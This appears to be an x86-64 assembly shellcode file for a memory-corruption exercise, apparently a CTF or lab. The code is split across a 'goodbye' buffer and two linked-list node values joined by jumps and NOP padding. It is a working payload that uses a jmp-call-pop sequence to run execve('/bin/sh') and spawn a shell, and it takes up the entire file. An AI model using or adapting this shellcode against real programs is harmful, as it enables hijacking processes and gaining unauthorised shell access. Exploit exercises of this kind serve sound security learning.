bits 64

section .text
global _start

; this is provided in "goodbye" function
_start:
    mov rax, 59    ; syscall id for execve
    jmp _node_2

; 2 byte gab between goodbye buffer and node 2 value
    nop
    nop

; node 2 value
_node_2:
    jmp _node_1

_exec:
    pop rdi        ; "/bin/sh"
    xor rsi, rsi   ; NULL
    xor rdx, rdx   ; NULL
    syscall

; 20 bytes gab between node 2 and node 1 values
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop

; node 1 value
_node_1:
    call _exec
    db "/bin/sh", 0x0

